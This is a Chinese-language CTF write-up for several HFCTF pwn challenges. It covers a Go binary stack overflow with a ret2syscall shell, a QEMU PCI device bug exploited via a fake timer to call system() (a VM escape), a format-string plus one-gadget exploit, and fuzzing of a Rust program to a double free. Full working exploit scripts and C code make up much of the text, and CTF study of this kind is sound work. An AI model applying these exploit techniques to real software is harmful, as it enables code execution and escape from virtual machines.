gogogo
go写的,不太会分析,首先运行起来,搜索 LET'S BEGIN TO PLAY A GUESS GAME IN HFCTF!
能找到 main_main
但是断点下来没有用,搜了一下一个go程序的启动过程
// The main goroutine.
func main() {
g := getg()
// Racectx of m0->g0 is used only as the parent of the main goroutine.
// It must not be used for anything else.
g.m.g0.racectx = 0
// Max stack size is 1 GB on 64-bit, 250 MB on 32-bit.
// Using decimal instead of binary GB and MB because
// they look nicer in the stack overflow failure message.
if goarch.PtrSize == 8 {
maxstacksize = 1000000000
} else {
maxstacksize = 250000000
}
// An upper limit for max stack size. Used to avoid random crashes
// after calling SetMaxStack and trying to allocate a stack that is too big,
// since stackalloc works with 32-bit sizes.
maxstackceiling = 2 * maxstacksize
// Allow newproc to start new Ms.
mainStarted = true
if GOARCH != "wasm" { // no threads on wasm yet, so no sysmon
systemstack(func() {
newm(sysmon, nil, -1)
})
}
// Lock the main goroutine onto this, the main OS thread,
// during initialization. Most programs won't care, but a few
// do require certain calls to be made by the main thread.
// Those can arrange for main.main to run in the main thread
// by calling runtime.LockOSThread during initialization
// to preserve the lock.
lockOSThread()
if g.m != &m0 {
throw("runtime.main not on m0")
}
// Record when the world started.
// Must be before doInit for tracing init.
runtimeInitTime = nanotime()
if runtimeInitTime == 0 {
throw("nanotime returning zero")
}
if debug.inittrace != 0 {
inittrace.id = getg().goid
inittrace.active = true
}
doInit(&runtime_inittask) // Must be before defer.
// Defer unlock so that runtime.Goexit during init does the unlock too.
needUnlock := true
defer func() {
if needUnlock {
unlockOSThread()
}
}()
gcenable()
main_init_done = make(chan bool)
if iscgo {
if _cgo_thread_start == nil {
throw("_cgo_thread_start missing")
}
if GOOS != "windows" {
if _cgo_setenv == nil {
throw("_cgo_setenv missing")
}
if _cgo_unsetenv == nil {
throw("_cgo_unsetenv missing")
}
}
if _cgo_notify_runtime_init_done == nil {
throw("_cgo_notify_runtime_init_done missing")
}
// Start the template thread in case we enter Go from
// a C-created thread and need to create a new thread.
startTemplateThread()
cgocall(_cgo_notify_runtime_init_done, nil)
}
doInit(&main_inittask)
// Disable init tracing after main init done to avoid overhead
// of collecting statistics in malloc and newproc
inittrace.active = false
close(main_init_done)
needUnlock = false
unlockOSThread()
if isarchive || islibrary {
// A program compiled with -buildmode=c-archive or c-shared
// has a main, but it is not executed.
return
}
fn := main_main // make an indirect call, as the linker doesn't know the address of the main package when laying down the runtime
fn()
if raceenabled {
racefini()
}
// Make racy client program work: if panicking on
// another goroutine at the same time as main returns,
// let the other goroutine finish printing the panic trace.
// Once it does, it will exit. See issues 3934 and 20018.
if atomic.Load(&runningPanicDefers) != 0 {
// Running deferred functions should not take long.
for c := 0; c < 1000; c++ {
if atomic.Load(&runningPanicDefers) == 0 {
break
}
Gosched()
}
}
if atomic.Load(&panicking) != 0 {
gopark(nil, nil, waitReasonPanicWait, traceEvGoStop, 1)
}
exit(0)
for {
var x *int32
*x = 0
}
}
于是决定去看一下 runtime.main
,然后就可以找到一个里面一堆 printf
的调用
runtime_startTemplateThread();
runtime_cgocall(error_code, v9);
LABEL_15:
runtime_doInit(error_code);
LOBYTE(off_580800) = 0;
v10 = runtime_closechan(error_codec);
v11 = 0;
runtime_unlockOSThread();
if ( !byte_58054C && !byte_58054E )
{
math_init(); // <--- 这里
if ( !off_5805AC || !off_5805AC )
{
if ( off_5805A4 )
runtime_gopark(error_codea, v10);
runtime_exit(0);
while ( 1 )
MEMORY[0] = 0;
}
v13 = 0LL;
runtime_mcall(error_codea);
}
v12 = 0;
(*v16)();
}
里面每一个printf都打印单个字符(所以搜那个字符串定位不到这个函数)
while ( (unsigned __int64)&v156 <= *(_QWORD *)(v0 + 16) )
runtime_morestack_noctxt();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
然后输入1416925456就可以进入一个猜数字游戏
else if ( v2 != 1416925456 )
{
fmt_Fprintf();
fmt_Fprintf();
v67 = fmt_Fprintf();
v222 = &unk_49D7C0;
v223 = &off_4CFC10;
fmt_Fprintln(v67);
return;
}
go的题目多半都是溢出,在这个函数里搜索一下read,scanf等等相关内容可以注意到
.text :0000000000494AE2 lea rax , unk_49D900
.text :0000000000494AE9 mov ebx , 800h
.text :0000000000494AEE mov rcx , rbx
.text :0000000000494AF1 call runtime_makeslice
.text :0000000000494AF6 lea rbx , [ rsp + 4C0h +var_460]
.text :0000000000494AFB mov rax , qword ptr cs :unk_5514E0
.text :0000000000494B02 mov ecx , 800h <--- 栈溢出
.text :0000000000494B07 mov rdi , rcx
.text :0000000000494B0A call bufio__ptr_Reader_Read
.text :0000000000494B0F movzx edx , byte ptr [ rsp + 4C0h +var_460]
.text :0000000000494B14 cmp dl , 79h ; 'y'
.text :0000000000494B17 jz short loc_494B35
.text :0000000000494B19 cmp dl , 59h ; 'Y'
.text :0000000000494B1C jz short loc_494B35
.text :0000000000494B1E xchg ax , ax
.text :0000000000494B20 call runtime_arg
.text :0000000000494B25 mov rbp , [ rsp + 4C0h +var_8]
.text :0000000000494B2D add rsp , 4C0h
.text :0000000000494B34 retn
接下来就是怎么达到这里
.text:0000000000491E85 lea rcx, aDDDD ; "%d %d %d %d"
.text:0000000000491E8C mov edi, 0Bh
.text:0000000000491E91 mov r8d, 4
.text:0000000000491E97 mov r9, r8
.text:0000000000491E9A lea rax, off_4D0340
.text:0000000000491EA1 call fmt_Fscanf
依次输入四个数字就可以开始猜,然后搜索一下Bulls and Cows游戏,返回正确且位置正确的个数和正确但位置错误的个数,能写个简单的猜测算法(其实也不用,自己玩完再send payload就好了)
开graph view开一下,溢出点在EXIT的位置,输入EXIT选项之后就可以传payload
算法也很容易,先生成一个全部的可能选取集合,然后抽一个数输入,得到 bulls and cows
的值,将现在的输入和集合内的数进行比较,如果bull和cow都相同,就说明这个是可选项,反复操作,直到只剩下一个选项即可。
最后直接ret2syscall即可,exp如下
from ntpath import join
import readline
from pwn import *
import random
import math
# Bull and Cow game solver
class Solver :
ans_length = 4
candidates = []
def fill_candidates (self):
for i in range ( 10 ):
for j in range ( 10 ):
for k in range ( 10 ):
for l in range ( 10 ):
if i == j or i == k or i == l or j == k or j == l or k == l:
continue
self .candidates.append( str (i) + str (j) + str (k) + str (l))
def __init__ (self):
self .fill_candidates()
# print(self.candidates)
def solve (self, sh):
while len ( self .candidates): # still have candidates
# randomly pick a candidate
candidate = random.choice( self .candidates)
# split candidate into 4 digits
guess = candidate[ 0 ] + ' ' + candidate[ 1 ] + ' ' + candidate[ 2 ] + ' ' + candidate[ 3 ]
# send guess to server
sh.sendline(guess.encode())
# get response from server
response = sh.recvline().decode()
if response.find( 'WIN' ) != - 1 :
return guess
bulls = int (response[ 0 ])
cows = int (response[ 2 ])
new_candidates = []
for k in self .candidates:
b = 0
c = 0
for i in range ( self .ans_length):
if k[i] == candidate[i]:
b += 1
for j in range ( self .ans_length):
if k[i] == candidate[j]:
c += 1
c = c - b
if b == bulls and c == cows:
new_candidates.append(k)
self .candidates = new_candidates
log.info( " {} {} {} " .format(guess, ':' , response))
log.info( 'Answer: {} ' .format( self .candidates[ 0 ]))
sh = process( './gogogo' )
sh.sendlineafter( b 'NUMBER:' , b '1416925456' )
sh.recvuntil( b 'GUESS \n ' )
solver = Solver()
solver.solve(sh)
time.sleep( 1 )
sh.sendline( b "EXIT" )
time.sleep( 1 )
sh.sendline( b "4" )
time.sleep( 1 )
'''
.text:000000000047CF00 call sub_45D5C0
.text:000000000047CF05 mov rdi, [rsp+arg_8] 0x10
.text:000000000047CF0A mov rsi, [rsp+arg_10] 0x18
.text:000000000047CF0F mov rdx, [rsp+arg_18] 0x20
.text:000000000047CF14 mov rax, [rsp+arg_0] 0x8
.text:000000000047CF19 syscall ; LINUX -
'''
payload = cyclic_metasploit( 1120 )
payload += p64( 0x 000000000045C900 ) # runtime.read
payload += p64( 0x 0000000000402e7b ) # add rsp 0x30; nop; ret;
payload += p64( 0x 0 ) # fd
payload += p64( 0x 552A00 ) # bss
payload += p64( 0x 8 ) # count
payload += p64( 0x c0ffee ) # pop rax; ret;
payload += p64( 0x 000000000047CF00 )
payload += p64( 0x 000000000047CF00 )
payload += p64( 0x 000000000047CF00 )
payload += p64( 0x 000000000047CF00 )
payload += p64( 0x 3b ) # sys_execve;
payload += p64( 0x 552A00 ) # bss
payload += p64( 0x 0 ) # rsi
payload += p64( 0x 0 ) # rdi
#gdb.attach(sh, 'b *0x000000000045C900')
sh.sendline(payload)
time.sleep( 1 )
sh.recvuntil( b 'BYE~' )
sh.sendline( b '/bin/sh \x00 ' )
sh.interactive()
#sh.sendlineafter()
hfdev
这个感觉最麻烦的地方是没有DeviceState
的符号,但是应该很容易可以注意到在 hfdev_process
中
if ( ( unsigned __int64)( unsigned __int16)result > * (_QWORD * )(a1 + 2672 ) )
LOWORD (result) = * (_QWORD * )(a1 + 2672 );
v10 = ( unsigned __int16)result;
result = 0 LL ;
do
{
* (_BYTE * )(a1 + result + 3720 ) ^= * (_BYTE * )(a1 + result + 2703 );
++ result;
}
while ( v10 >= ( int )result );
这一部分的>=
很可能会导致一个byte的溢出,
接下来分析realize函数,注意到
v2 = g_malloc0 ( 48 LL );
timer_init_full (v2, 0 , 1 , 1 , 0 , ( unsigned int ) hfdev_func , (__int64) v1 );
v1 [ 563 ] = v2;
v1[563]
处存放了一个QEMUTimer,回调函数为 hfdev_func
然后
v3 = qemu_bh_new_full (hfdev_process, v1, "hfdev_process" );
v1 [ 561 ] = 1 LL ;
v1 [ 564 ] = v3;
v1[564]
处存放了一个qemu bottom half,结构体如下
struct QEMUBH {
AioContext * ctx;
QEMUBHFunc * cb; // callback, 触发时调用
void * opaque;
QEMUBH * next;
bool scheduled;
bool idle;
bool deleted;
};
而
static gboolean
aio_ctx_dispatch (GSource * source ,
GSourceFunc callback ,
gpointer user_data )
{
AioContext * ctx = (AioContext * ) source;
assert (callback == NULL );
aio_dispatch (ctx);
return true ;
}
中 aio_dispatch
会调用 aio_bh_poll
,其中会调用 aio_bh_call
执行bottom half的callback
以及 hfdev_port_write
中
case 12 LL :
qemu_bh_schedule ( * ((_QWORD * )a1 + 564 ));
break ;
qemu_bh_schedule
会执行 aio_notify
,所以 case 12:
的时候会触发这个bh callback
v1 [ 335 ] = 0 LL ;
memory_region_init_io (v1 + 300 , v1, hfdev_ioport_ops, v1, "hfdev-pmio" , 32 LL );
return pci_register_bar (a1, 0 LL , 1 LL , v1 + 300 );
然后就是init pmio,大小32 bytes。接下来分析 hfdev_process
函数
case 0x 30 :
result = * ( unsigned __int16 * ) & a1 -> pad3 [ 41 ];
v11 = * ( unsigned __int16 * ) & a1 -> pad3 [ 43 ];
if ( ( unsigned __int16)result <= 0x 100 u && ( unsigned __int16)v11 <= 0x 100 u )
{
v12 = * (_QWORD * ) & a1->pad3[ 1832 ] == 0 LL ;
* (_QWORD * ) & a1->pad3[ 24 ] = result;
* (_QWORD * ) & a1->pad3[ 1840 ] = ( char * )v1 + v11;
if ( ! v12 )
return timer_mod (a1->timer, * (_QWORD * ) & a1->pad3[ 32 ]);
}
break ;
在 case 0x30:
的时候会调用timer_mod
,
/**
* timer_mod:
* @ts: the timer
* @expire_time: the expire time in the units associated with the timer
*
* Modify a timer to expiry at @expire_time, taking into
* account the scale associated with the timer.
*
* This function is thread-safe but the timer and its timer list must not be
* freed while this function is running.
*/
void timer_mod (QEMUTimer * ts , int64_t expire_timer );
可以知道这会触发之前的timer,也就是会接着调用hfdev_func
,其中会修改state->pad3[1832]
,所以根据v12
的值,只能调用一次,同时可以注意到,hfdev_func
中
v1 = * (_QWORD * ) & a1 -> pad3 [ 24 ];
* (_QWORD * ) & a1 -> pad3 [ 1832 ] = 0 LL ;
if ( v1 <= 0x 100 )
{
memcpy ( & a1->pad3[ * (_QWORD * ) & a1->pad3[ 16 ] + 1064 ], * ( const void ** ) & a1->pad3[ 1840 ], v1);
result = * (_QWORD * ) & a1->pad3[ 24 ];
* (_QWORD * ) & a1->pad3[ 16 ] += result;
}
a1>pad3[16]
不会被置0,所以如果能够多次触发,就能实现越界读写。注意到
case 0x 10 :
v9 = * (_WORD * ) & a1 -> pad3 [ 43 ];
result = * ( unsigned __int16 * ) & a1 -> pad3 [ 45 ];
if ( v9 == 8706 )
{
v13 = 512 ;
if ( ( unsigned __int16)result <= 0x 200 u )
v13 = * ( unsigned __int16 * ) & a1->pad3[ 45 ];
if ( (_WORD)result )
{
v14 = ( unsigned __int16)v13;
v15 = a1->pad3[ 41 ];
v16 = a1->pad3[ 42 ];
result = (__int64) & a1->pad3[ 47 ];
v17 = & a1->pad3[v13 - 1 + 48 ];
do
{
v18 = * (_BYTE * )result ++ ;
* (_BYTE * )(result + 1016 ) = v16 ^ (v15 + v18);
* (_QWORD * ) & a1->pad3[ 16 ] = v14;
}
while ( v17 != ( char * )result );
}
}
可以先让a1->pad3[16]=512
,第一次触发timer时,a1->pad3[16]+=0x100
,也就是a1->pad3[16]=768
,而上面1 byte溢出的溢出地址就是由a1->pad3[16]
控制的,这个时候可以溢出到
a1->pad3[1832]
也就是控制timer是否能够触发的标志位,就能实现多次触发时钟。因为能够多次触发时钟,所以我们可以获得一个很大范围的数据的读取,再看hfdev_process
中case 0x20:
的部分(这里还原了一些符号)
case 0x 20 :
v7 = * ( unsigned __int16 * ) & a1 -> control. field_9 [ 2 ];
copy_cursor = a1 -> copy_cursor;
if ( v7 > copy_cursor )
v7 = ( unsigned __int16)copy_cursor;
return cpu_physical_memory_rw ( * (_QWORD * ) & a1 -> control.fn1, (__int64)a1 -> pad3 , v7, 1 u );
这里可以让我们把数据读取回一个给定的物理地址,而v7
是我们可控的长度
* (_QWORD * ) & a1 -> pad3 [ 1840 ] = ( char * )v1 + v11;
对比这个*(_QWORD *)&a1->pad3[1840]
,就是timer callback中的src地址,我们可以泄漏这个地址(v1 + v11,符号化之后即为hfdev_state中控制结构体的起始地址加上第二个参数)。这个地址在堆区,可以先泄漏这个地址,然后计算出timer的地址。虽然在case 0x20:
对v11
的大小做了检查,但是由于之前增加了cursor
导致我们使用hfdev_process
和hfdev_func
都能够访问更大的范围,所以在触发timer,callback还未执行前,可以重新利用0x2022
功能修改掉hfdev_func
中的复制目标,正好,在hfdev_port_write
的case 0x10:
中就有能够修改callback触发延迟的功能。
case 10 LL :
a1 -> time = qemu_clock_get_ns ( 1 LL ) + 100000000 * a3;
break ;
这样我们就可以在触发前利用溢出,将bh->cb
或者timer->cb
复制到timer
(这时的cursor指向timer)上,接下来就可以计算pie偏移,程序基址,system plt等等。
然后根据得到的地址,我们可以伪造一个timer,因为我们之前已经得到了发送的control结构的地址,而这个结构中有一块很大的buffer,足够构造一个fake timer (或者fake bh也可以) 将这个timer的callback设置为system
,并且opaque设置为命令的地址,这样该指针就会被rdi寄存器传递,然后触发timer即可(注意fake timer也要有timer_list)完整exp如下。
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <sys/io.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE ( 1 << PAGE_SHIFT) //4096
#define PFN_PRESENT ( 1 ull << 63 )
#define PFN_PFN (( 1 ull << 55 ) - 1 )
#define PMIO_BASE 0x 000000000000c040
struct Control
{
char switcher;
__attribute__ ((packed)) __attribute__ (( aligned ( 1 ))) uint16_t fn1;
__attribute__ ((packed)) __attribute__ (( aligned ( 1 ))) uint16_t fn2;
__attribute__ ((packed)) __attribute__ (( aligned ( 1 ))) uint16_t fn3;
char field_9 [ 1017 ];
};
int fd;
uint32_t page_offset ( uint32_t addr )
{
return addr & (( 1 << PAGE_SHIFT) - 1 );
}
uint64_t gva_to_gfn ( void * addr )
{
uint64_t pme, gfn;
size_t offset;
offset = (( uintptr_t )addr >> 9 ) & ~ 7 ;
lseek (fd, offset, SEEK_SET);
read (fd, & pme, 8 );
if ( ! (pme & PFN_PRESENT))
return - 1 ;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa ( void * addr )
{
uint64_t gfn = gva_to_gfn (addr);
assert (gfn != - 1 );
return (gfn << PAGE_SHIFT) | page_offset (( uint64_t )addr);
}
uint64_t pmio_read ( uint64_t port )
{
uint64_t val;
val = inw (PMIO_BASE + port);
return val;
}
void pmio_write ( uint64_t port , uint64_t val )
{
outw (val, PMIO_BASE + port);
}
void trigger_process ( void )
{
pmio_write ( 12 , 0 );
}
int main ( int argc , char ** argv )
{
int ret = 0 ;
fd = open ( "/proc/self/pagemap" , O_RDONLY);
if (fd < 0 )
{
perror ( "open" );
exit ( 1 );
}
iopl ( 3 );
struct Control * control = ( struct Control * ) malloc ( sizeof ( struct Control));
uint32_t control_paddr = gva_to_gpa (control);
printf ( "[*] control_paddr: 0x %x\n " , control_paddr);
// set addr
pmio_write ( 2 , control_paddr & 0x ffff );
pmio_write ( 4 , (control_paddr >> 16 ) & 0x ffff );
uint64_t timer_enabled = pmio_read ( 6 );
printf ( "[*] timer_enabled: 0x %llx\n " , timer_enabled);
uint64_t copy_cursor = pmio_read ( 8 );
printf ( "[*] copy_cursor: 0x %llx\n " , copy_cursor);
// set copy control len to 0x400
pmio_write ( 6 , 0x 400 );
// now set cursor to 0x200
control->switcher = 0x 10 ;
control->fn1 = 0 ;
control->fn2 = 0x 2202 ;
control->fn3 = 0x 200 ;
trigger_process ();
sleep ( 1 );
printf ( "[*] trigger timer \n " );
// now trigger timer, cursor should be 0x300 after timer callback
memset (control, 0 , sizeof ( * control));
control->switcher = 0x 30 ;
control->fn1 = 0x 100 ;
control->fn2 = 0 ;
trigger_process ();
sleep ( 1 );
// check timer_enabled
timer_enabled = pmio_read ( 6 );
assert (timer_enabled == 0 );
printf ( "[*] timer_enabled: 0x %llx\n " , timer_enabled);
copy_cursor = pmio_read ( 8 );
printf ( "[*] copy_cursor: 0x %llx\n " , copy_cursor);
/*
do
{
a1->pad3[result] ^= *((_BYTE *)&a1->control.fn3 + result);
++result;
}
while ( v10 >= (int)result );
// v10 = 0x300 now, and timer_enabled is located at a1->pad3[0x300]
// so we set field_9 + 0x300 to 0x1, and trigger hfdev_process (case 0x10)
// then we can flip the timer_enabled bit and trigger timer callback again.
*/
printf ( "[*] flip timer_enabled \n " );
memset (control, 0 , sizeof ( * control));
control->switcher = 0x 10 ;
control->fn1 = 0 ;
control->fn2 = 0x 2022 ;
control->fn3 = 0x 300 ;
control->field_9[ 0x 300 ] = 0x 1 ;
trigger_process ();
printf ( "[*] waiting... \n " );
sleep ( 3 );
// check timer_enabled
timer_enabled = pmio_read ( 6 );
printf ( "[*] timer_enabled: 0x %llx\n " , timer_enabled);
printf ( "[+] enable timer again! \n " );
copy_cursor = pmio_read ( 8 );
printf ( "[*] copy_cursor: 0x %llx\n " , copy_cursor);
sleep ( 1 );
// trigger timer again
printf ( "[*] trigger timer again \n " );
memset (control, 0 , sizeof ( * control));
control->switcher = 0x 30 ;
control->fn1 = 0x 10 ;
control->fn2 = 0x 0 ;
trigger_process ();
for ( int i = 0 ; i < 3 ; i ++ )
{
printf ( "[*] waiting... \n " );
sleep ( 3 );
}
// set copy src to struct Control
memset (control, 0 , sizeof ( * control));
control->switcher = 0x 30 ;
control->fn1 = 0x 0 ;
control->fn2 = 0x 0 ;
trigger_process ();
sleep ( 1 );
timer_enabled = pmio_read ( 6 );
printf ( "[*] timer_enabled: 0x %llx\n " , timer_enabled);
copy_cursor = pmio_read ( 8 );
printf ( "[*] copy_cursor: 0x %llx\n " , copy_cursor);
// leak timer address
char * buf = ( char * ) malloc ( 0x 1000 );
uint32_t buf_paddr = gva_to_gpa (buf);
printf ( "[*] buf: 0x %llx buf_paddr: 0x %x\n " , buf, buf_paddr);
memset (control, 0 , sizeof ( * control));
control->switcher = 0x 20 ;
* (( uint32_t * ) & (control->fn1)) = buf_paddr;
* ( uint16_t * ) & control->field_9[ 2 ] = 0x 310 ;
trigger_process ();
sleep ( 5 );
// char *buf = (char *)malloc(0x1000);
// uint32_t buf_paddr = gva_to_gpa(buf);
uint64_t control_addr = * ( uint64_t * ) & buf [ 0x 308 ];
printf ( "[+] control_addr: 0x %llx\n " , control_addr);
uint64_t timer = control_addr + 0x 12b8 ;
uint64_t bh = control_addr + 0x 12f8 ;
uint64_t timer_list = control_addr - 0x 1110b98 ;
printf ( "[+] timer: 0x %llx bh: 0x %llx timer_list: 0x %llx\n " , timer, bh, timer_list);
// flip timer_enabled
printf ( "[*] flip timer_enabled \n " );
memset (control, 0 , sizeof ( * control));
control->switcher = 0x 10 ;
control->fn1 = 0 ;
control->fn2 = 0x 2022 ;
control->fn3 = 0x 300 ;
control->field_9[ 0x 300 ] = 0x 1 ;
trigger_process ();
printf ( "[*] waiting... \n " );
sleep ( 3 );
// check timer_enabled
timer_enabled = pmio_read ( 6 );
assert (timer_enabled > 0 );
printf ( "[*] timer_enabled: 0x %llx\n " , timer_enabled);
// set timer delay
pmio_write ( 10 , 0x 150 );
sleep ( 1 );
// trigger timer again
printf ( "[*] trigger timer again \n " );
memset (control, 0 , sizeof ( * control));
control->switcher = 0x 30 ;
control->fn1 = 0x 8 ; // cursor = 0x318
control->fn2 = 0x 0 ; // this will overwrite timer pointer
trigger_process (); // so don't trigger timer until construct a fake timer
sleep ( 1 );
// overwrite copy src to bh
printf ( "[*] overwrite copy src to timer \n " );
memset (control, 0 , sizeof ( * control));
control->switcher = 0x 10 ;
control->fn1 = 0x 0 ;
control->fn2 = 0x 2022 ;
control->fn3 = 0x 30f ; // don't overflow to bh
* ( uint64_t * ) & control->field_9[ 0x 308 ] = ((bh + 0x 10 ) ^ control_addr);
trigger_process ();
sleep ( 1 );
printf ( "[*] waiting..." );
for ( int i = 0 ; i < 12 ; ++ i)
{
printf ( "." );
sleep ( 3 );
}
printf ( " \n " );
printf ( "[*] copy timer \n " );
memset (buf, 0 , 0x 1000 );
memset (control, 0 , sizeof ( * control));
control->switcher = 0x 20 ;
* (( uint32_t * ) & (control->fn1)) = buf_paddr;
* ( uint16_t * ) & control->field_9[ 2 ] = 0x 318 ;
trigger_process ();
sleep ( 5 );
uint64_t hfdev_process = * ( uint64_t * ) & buf [ 0x 310 ];
uint64_t hfdev_func = hfdev_process + 0x 1c0 ;
uint64_t base_addr = hfdev_process - 0x b0fd0 ;
uint64_t slide = hfdev_process - 0x 380fd0 ;
uint64_t system_plt = slide + 0x 2d6610 ;
printf ( "[+] hfdev_process: 0x %llx\n " , hfdev_process);
printf ( "[+] hfdev_func: 0x %llx\n " , hfdev_func);
printf ( "[+] base_addr: 0x %llx\n " , base_addr);
printf ( "[+] slide: 0x %llx\n " , slide);
printf ( "[+] system_plt: 0x %llx\n " , system_plt);
// flip timer_enabled
printf ( "[*] flip timer_enabled \n " );
memset (control, 0 , sizeof ( * control));
control->switcher = 0x 10 ;
control->fn1 = 0 ;
control->fn2 = 0x 2022 ;
control->fn3 = 0x 300 ;
control->field_9[ 0x 300 ] = 0x 1 ;
trigger_process ();
printf ( "[*] waiting... \n " );
printf ( "[*] overwrite timer to fake timer \n " );
memset (control, 0 , sizeof ( * control));
control->switcher = 0x 10 ;
control->fn1 = 0x 0 ;
control->fn2 = 0x 2022 ;
control->fn3 = 0x 317 ; // don't overflow to bh
* ( uint64_t * ) & control->field_9[ 0x 310 ] = ((control_addr + 0x 10 ) ^ hfdev_process);
trigger_process ();
sleep ( 1 );
struct FakeTimer
{
int64_t expire_time;
void * timer_list;
void * cb;
void * opaque;
void * next;
int attributes;
int scale;
};
struct FakeTimer ft = {
.expire_time = 0x 100 ,
.timer_list = timer_list,
.cb = system_plt,
.opaque = 0x 0 ,
.next = 0x 0 ,
.attributes = 0x 0 ,
.scale = 0x 0 ,
};
pmio_write ( 10 , 0x 10 );
// copy fake timer to control
uintptr_t ftaddr = ( uintptr_t )((( uint64_t )control) + 0x 10 );
memcpy (( void * )ftaddr, & ft, sizeof (ft));
struct FakeTimer * fake_timer = ( struct FakeTimer * )(((( uint64_t )control) + 0x 10 ));
fake_timer->opaque = ( void * )(control_addr + 0x 100 );
printf ( "[*] set fake_timer->opaque: 0x %llx\n " , fake_timer->opaque);
strcpy (( char * )((( uint64_t )control) + 0x 100 ), "ls -al" );
sleep ( 1 );
// trigger timer again
printf ( "[*] trigger timer again \n " );
control->switcher = 0x 30 ;
control->fn1 = 0x 8 ;
control->fn2 = 0x 0 ;
trigger_process ();
sleep ( 1 );
while ( 1 ) { }
return 0 ;
}
总体思路不难,但细节需要考虑一下,如果缺少对qemu方面的基本了解的话,逆向可能会有点麻烦。
babygame
确实是最简单的,第一个栈溢出泄漏一个栈地址,然后用字符串格式化泄漏canary和libc,改返回地址到main
,再次栈溢出跳转one gadget即可。
from pwn import *
arr = [ 0 , 0 , 2 , 1 , 2 , 0 , 1 , 0 , 0 , 1 , 2 , 2 , 0 , 2 , 1 , 1 , 1 , 2 , 1 , 0 , 0 , 0 , 1 , 0 , 1 , 2 , 2 , 0 , 1 , 2 , 2 , 0 , 1 , 1 , 2 , 1 , 1 , 2 , 1 , 0 , 0 , 2 , 1 , 0 , 2 , 2 , 1 , 2 , 1 , 2 , 1 , 1 , 1 , 1 , 0 , 0 , 0 , 1 , 2 , 0 , 1 , 1 , 1 , 1 , 0 , 2 , 2 , 0 , 1 , 2 , 0 , 0 , 2 , 1 , 0 , 0 , 0 , 0 , 1 , 1 , 2 , 1 , 1 , 0 , 1 , 2 , 0 , 1 , 0 , 2 , 0 , 0 , 0 , 0 , 1 , 2 , 2 , 0 , 2 , 2 , ]
sh = process( './babygame' )
libc = ELF( './libc-2.31.so' )
payload1 = b "A" * ( 256 ) + b "A" *0x 8 + b "A" *0x 8
sh.recvuntil( b "Please input your name:" )
sh.send(payload1)
sh.recvuntil( b 'A' * ( 256 +0x 8 +0x 8 ))
stackaddr = u64(sh.recv( 6 ).ljust( 8 , b ' \x00 ' ))
target = stackaddr - 0x 218
log.success( "stackaddr: " + hex (stackaddr))
for i in arr:
sh.recvuntil( b ":" )
sh.sendline( str (i).encode())
sh.recvuntil( b "you. \n " )
sh.sendline( b "%13$p %5219x %10$hn%27$paaa%29$paa" + p64(target) + p64(target))
log.info( "back to main if we are lucky" )
r1 = sh.recv( 18 )
canary = int (r1, 16 )
r1 = sh.recvuntil( b '0x' )
r1 = "0x" + sh.recv( 12 ).decode()
# print(r1)
atoiaddr = int (r1, 16 )
libcbase = atoiaddr - 0x 445f4
r1 = sh.recvuntil( b 'aaa' )
r1 = sh.recv( 14 )
paddr = int (r1, 16 )
programbase = paddr - 0x 12ef
onegadget = libcbase + 0x e3b31
log.success( "canary: {} " .format( hex (canary)))
log.success( "atoiaddr: {} " .format( hex (atoiaddr)))
log.success( "libcbase: {} " .format( hex (libcbase)))
log.success( "programbase: {} " .format( hex (programbase)))
log.success( "onegadget: {} " .format( hex (onegadget)))
payload = b "AAAA \x00\x00\x00\x00 " + 35 * p64(canary)
payload += b 'AAAAAAAA'
payload += p64(onegadget)
time.sleep( 1 )
sh.send(payload)
time.sleep( 1 )
sh.sendline( b '0' )
sh.interactive()
vdq
rust写的,不太懂,ida分析出来非常复杂,对rust字符串的分析稍微有点问题(因为字符串结尾的问题),经过逆向分析,程序需要用["op1", "op2", "op3"]\n$
这样的方式输入,没有去除符号,所以能直接确定op的类型,有add,remove,view,append,archive,并且add,append需要数据输入。
因为输入很简单,但整个程序分析起来很复杂,先选择fuzz一下,脚本如下
import random
from subprocess import PIPE , STDOUT
from psutil import Popen
from pwn import *
import string
op = [ " \" Add \" " , " \" Remove \" " , " \" Append \" " , " \" View \" " , " \" Archive \" " ]
while True :
opcnt = random.randint( 0 , 30 )
oplist = "["
inputline = ""
linecnt = 0
for i in range (opcnt):
opindex = random.randint( 0 , len (op) - 1 )
oplist += op[opindex]
if opindex == 0 or opindex == 2 :
inputline += str (cyclic_metasploit(random.randint( 0 , 100 )).decode()) + " \n "
if i != opcnt - 1 :
oplist += ", "
else :
oplist += "]"
oplist += " \n $ \n "
# write to input file
with open ( "input" , "w" ) as f:
f.write(oplist)
f.write(inputline)
cmd = 'cat input | RUST_BACKTRACE=1 ./vdq'
p = Popen(cmd, shell = True , stdin = PIPE , stdout = PIPE , stderr = STDOUT , close_fds = True )
output, err = p.communicate()
if "Aborted" in output.decode():
print (output.decode())
break
很快找到了一个double free,简化一下获得的poc
["Add", "Add", "Remove", "Archive", "Add", "Add", "Add", "View", "Remove", "Remove", "Remove"]
$
Aa0Aa1Aa2Aa3Aa
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A
调试定位崩溃位置
gef➤ bt
#0 0x00007ffff7a22e87 in raise () from ./libc-2.27.so
#1 0x00007ffff7a247f1 in abort () from ./libc-2.27.so
#2 0x00007ffff7a6d837 in ?? () from ./libc-2.27.so
